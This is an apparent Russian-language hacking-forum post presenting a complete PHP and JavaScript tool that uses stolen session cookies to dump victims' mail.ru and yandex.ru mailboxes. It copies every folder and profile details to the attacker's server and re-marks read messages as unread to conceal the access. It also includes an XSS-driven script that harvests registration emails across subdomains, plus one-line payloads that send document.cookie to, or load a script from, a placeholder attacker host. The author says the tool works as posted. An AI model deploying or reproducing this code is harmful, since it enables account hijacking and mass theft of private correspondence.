ANTICHAT - Показать сообщение отдельно

=== 30.10.2009

PHP код:


		
			
<?php

set_time_limit(600);



// если php < 5.2.0

if (!function_exists('json_decode'))

{

   function json_decode($json)

   {

      // Author: walidator.info 2009 mod by LO (temp)

      $comment = false;

      $out = '$x=';

      for ($i = 0; $i < strlen($json); $i++)

      {

         if (!$comment)

         {

            if ($json[$i] == '{')       $out .= ' array(';

            else if ($json[$i] == '}')  $out .= ')';

            else if ($json[$i] == '[')  $out .= ' array(';

            else if ($json[$i] == ']')  $out .= ')';

            else if ($json[$i] == ':')  $out .= '=>';

            else                        $out .= $json[$i];

         }

         else $out .= $json[$i];

         if ($json[$i] == '"')

         {

            $n = 1;

            while ($json[$i - $n] == '\\') $n++;

            if (!($n & 1)) $comment = !$comment;

         }

      }

      @eval($out . ' or null;');

      return $x;

   }

}



// определение целей, для которых запущен скрипт

if ($_REQUEST['action'] == 'sender')

      js_sender();

else if($_REQUEST['action'] == 'save')

   {

      create_dir(rawurldecode($_REQUEST['email']));

      write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n", rawurldecode($_REQUEST['email']), 'registr_info.txt');

   }

else select_mail();



// функция выбирает дампер в зависимости от кукисов 

function select_mail()

{

   $cookie = str_replace(';%20', '; ', $_SERVER['QUERY_STRING']);

   if (strpos($cookie, 'Mpop') === false) 

    { 

       if (strpos($cookie, 'yandex') === false) 

           die(); 

       else 

           yandex_ru_dump($cookie);

    } 

   else 

     mail_ru_dump($cookie);

} 



// главная функция дампа mail.ru 

function mail_ru_dump($cookie)

{

   preg_match('/:.+:(.+?):/', $cookie, $email);

   create_dir($email[1]);

   // чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается. 

   $fcheck = fopen('./mailbox/'.$email[1].'/check.txt', 'ab') or die();

   $exist = file_get_contents('./mailbox/'.$email[1].'/check.txt');

   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');

   $folders = json_decode(utf8_encode($folders[0][0]), true);

   if ($folders[1] == 'Redirect') js_mail_ru_dump();  // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер

   foreach ($folders[2]['fList'] as $folder)

   {

     $filename = ($folder['ID'] == 0 ? 'inbox' : ($folder['ID'] == 950 ? 'doubtful' : ($folder['ID'] == 500000 ? 'outbox' : ($folder['ID'] == 500002 ? 'trash' : 'custom')))); 

      $fp = fopen('./mailbox/'.$email[1].'/'.$filename.'.html', 'ab') or die();  

      // все иды в папке одним запросом

      $ids = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D', $cookie, '/\[.*\]/');

      $ids = json_decode(utf8_encode($ids[0][0]), true);

      foreach ($ids[2]['mList'] as $id)

      {

         // чеккер

         if (strpos($exist, $id) === false)

            {

               // $message[0][0] - строка JSON - из нее многое можно вытащить.

               $message = requester('pro.mail.ru', '/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id. '%22%5D', $cookie, '/\[.*\]/');

               $message = json_decode(utf8_encode($message[0][0]), true);

               // проверка на прочитанность

               if ($message[2]['FlagUnread'])

                   requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id. '%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg', $cookie);

               // запись сообщения

               fwrite($fp, utf8_decode("<b>ID: </b>" .$id. "<br/>\r\n<b>From: </b>". $message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));

               fwrite($fcheck, "$id\r\n");

            }

         else break;

      }

      fclose($fp);

   }

   // проверка дампа приватной информации 

   if (strpos($exist, 'private') === false) 

      {

         $userinfo = requester('win.mail.ru', '/cgi-bin/userinfo?mra=1', $cookie, '/class=registr>(.*)<input type="submit"/s'); 

         $anketa1 = requester('win.mail.ru', '/cgi-bin/anketa?page=1', $cookie, '/class=registr>(.*)<input type="submit"/s'); 

         $anketa2 = requester('win.mail.ru', '/cgi-bin/anketa?page=2', $cookie, '/class=registr>(.*)<input type="submit"/s');

         write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders, $email[1], 'private.html'); 

         write_message("private\r\n", $email[1], 'check.txt');

      }

   fclose($fcheck);

}

тупо соединить

PHP код:


		
			


//  JS-дампер mail.ru

function js_mail_ru_dump()

{

?>



dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';

mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';

email = document.cookie.match(/:.+:(.+):/)[1];

var r, ids=[], ids_index, context = window;



document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';



if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';



switch (location.hostname) {

  case 'win.mail.ru':

  case 'koi.mail.ru':

    get_ids_html(1);

    break;

  case 'pro.mail.ru':

    get_ids_ajax();

    break;

  default:

    /* if xss on [sub].mail.ru  */

    try {document.domain = 'mail.ru'} catch(er){}

    document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';

}



/* html-interface */

function get_ids_html(page) {

 requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 

            function() {

               if (r.readyState == 4) {

                   ids_temp = r.responseText.match(/value="\d{20}/gi) || '';

                   for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));

                   r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);

               }

             }

          );

}



/* ajax-interface */

function get_ids_ajax() {

  requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,

             function() {

              if (r.readyState == 4) {

                  ids = r.responseText.match(/\d{20}_msg/g) || '';

                  for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);

                  if (ids[ids_index = 0]) get_message(ids[ids_index]);

              }

            }

           );

}



/* common */

function get_message(id) {

  requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',

             function() {

               if (r.readyState == 4) {

                   message = r.responseText;

                   if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  

                   message = encodeURIComponent(message);

                   /* HTML 5 */

                   if (window.postMessage)

                       document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');

                   else  /* HTML<5 */

                     document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);

                   if (ids[++ids_index]) get_message(ids[ids_index]);

               }

             }

           );

}



/* common */

function requester(url, func) {

  try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}

  r.open('GET', url);

  r.onreadystatechange = func;

  r.send(null);

}



<?php

   die();

}



// функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp

function js_sender()

{

?>

<html>

<body>

<script>

if (window.addEventListener) {

    window.addEventListener('message', listener, false);

} else {

    window.attachEvent('onmessage', listener);

}



function listener(event) {

  with (new XMLHttpRequest()) 

     open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),

     setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),

     send(event.data);

}

</script>

</body>

</html>

<?php

   die();

}





// аналогично: главная функция дампа yandex.ru

function yandex_ru_dump($cookie)

{ 

   $passport_and_email = requester('passport.yandex.ru', '/passport?mode=passport', $cookie, '/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si'); 

   $index = requester('mail.yandex.ru', '/m/folders', $cookie); 

   create_dir($passport_and_email[2][0].'@yandex.ru'); 

   $fcheck = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt', 'ab') or die(); 

   $exist = file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt'); 

   if (strpos($exist, 'private') === false) 

      { 

         write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index, $passport_and_email[2][0].'@yandex.ru', 'private.html');   

         write_message("private\r\n", $passport_and_email[2][0].'@yandex.ru', 'check.txt'); 

      } 

   preg_match_all('/folder=(.*?)"/', $index, $folders); 

   // если папок не будет найдено, то куки недействительны 

   if ($folders[1][0] == '') die(); 

   for ($n = 0; $n < count($folders[1]); $n++) 

   { 

      $filename = ($n == 0 ? 'inbox' : ($n == 1 ? 'outbox' : ($n == 2 ? 'trash' : ($n == 3 ? 'spam' : ($n == 4 ? 'draft' : 'custom')))));  

      $fp = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html', 'ab') or die();

      $page = 0;

      do {

            $messagelist = requester('mail.yandex.ru', '/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page, $cookie); 

            preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/', $messagelist, $ids_and_mark);  

            if ($ids_and_mark[1][0] == '') break;

            for ($m = 0; $m < count($ids_and_mark[1]); $m++)

            { 

               if (strpos($exist, $ids_and_mark[1][$m]) === false) 

                  { 

                     $answer = requester('mail.yandex.ru', '/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie, '/(<div class="c".*)<div class="op"/s');    

                     $message = "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0]; 

                     // если условие выполняется, то письмо непрочитано. 

                     if ($ids_and_mark[2][$m] == 'b') 

                         requester('mail.yandex.ru', '/neo/ajax/action_message_operate?' + 'oper=mark_not_read&current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie); 

                     fwrite($fp, $message); 

                     fwrite($fcheck, $ids_and_mark[1][$m]."\r\n"); 

                  } 

            } 

         }  while(preg_match('/btn-r/', $messagelist) > 0); 

      fclose($fp); 

   } 

  fclose($fcheck); 

}



// универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа  

function requester($host, $path, $cookie, $regexp = "") 

{ 

   $fp = fsockopen($host, 80) or die(); 

   fputs ($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 

   $answer=''; 

   while (!feof($fp)) $answer .= fgets($fp, 4096); 

   fclose($fp); 

   if ($regexp != '') preg_match_all($regexp, $answer, $answer); 

   return $answer; 

} 



// универсальная функция записи

function write_message($message, $email, $filename)

{

   $fp = fopen("./mailbox/$email/$filename", "ab") or die();

   fwrite($fp, $message);

   fclose($fp);

}



// универсальная функция создания директорий

function create_dir($email)

{

   if (!is_dir("./mailbox")) mkdir("./mailbox", 0755) or die();

   if (!is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email, 0755) or die();

}





            //\\  LeverOne //\\

?>

Это - дампер сообщений mail.ru и yandex.ru
Вот его особенности.

[+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
[+] Собирает письма из ВСЕХ папок.
[+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
[+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
[+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
[+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622

Способ запуска:

1. Только PHP-функционал:

http://mysite.xz/dump.php?Mpop=blabla

(обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)

или

new Image().src='http://myhost.xz/dump.php?' + document.cookie;

2. Весь функционал (целесообразнее)

with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;

Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.

=== 3.01.2010

Как проверить работоспособность php-части дампера на локальном хосте?

Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla

Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).

Как проверить работоспособность javascript-части дампера на локальном хосте?

Найдите в дампере следующие строки:

PHP код:


		
			
   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');

   $folders = json_decode(utf8_encode($folders[0][0]), true);

   if ($folders[1] == 'Redirect')  js_mail_ru_dump();

и замените их на:

PHP код:


		
			
/*   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');

   $folders = json_decode(utf8_encode($folders[0][0]), true);

   if ($folders[1] == 'Redirect') */ js_mail_ru_dump();

Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:

javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);

Появился файл registr_info.txt в директории mailbox/yourmail@mail.ru ?

Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.

На текущий момент скрипт полностью работоспособен.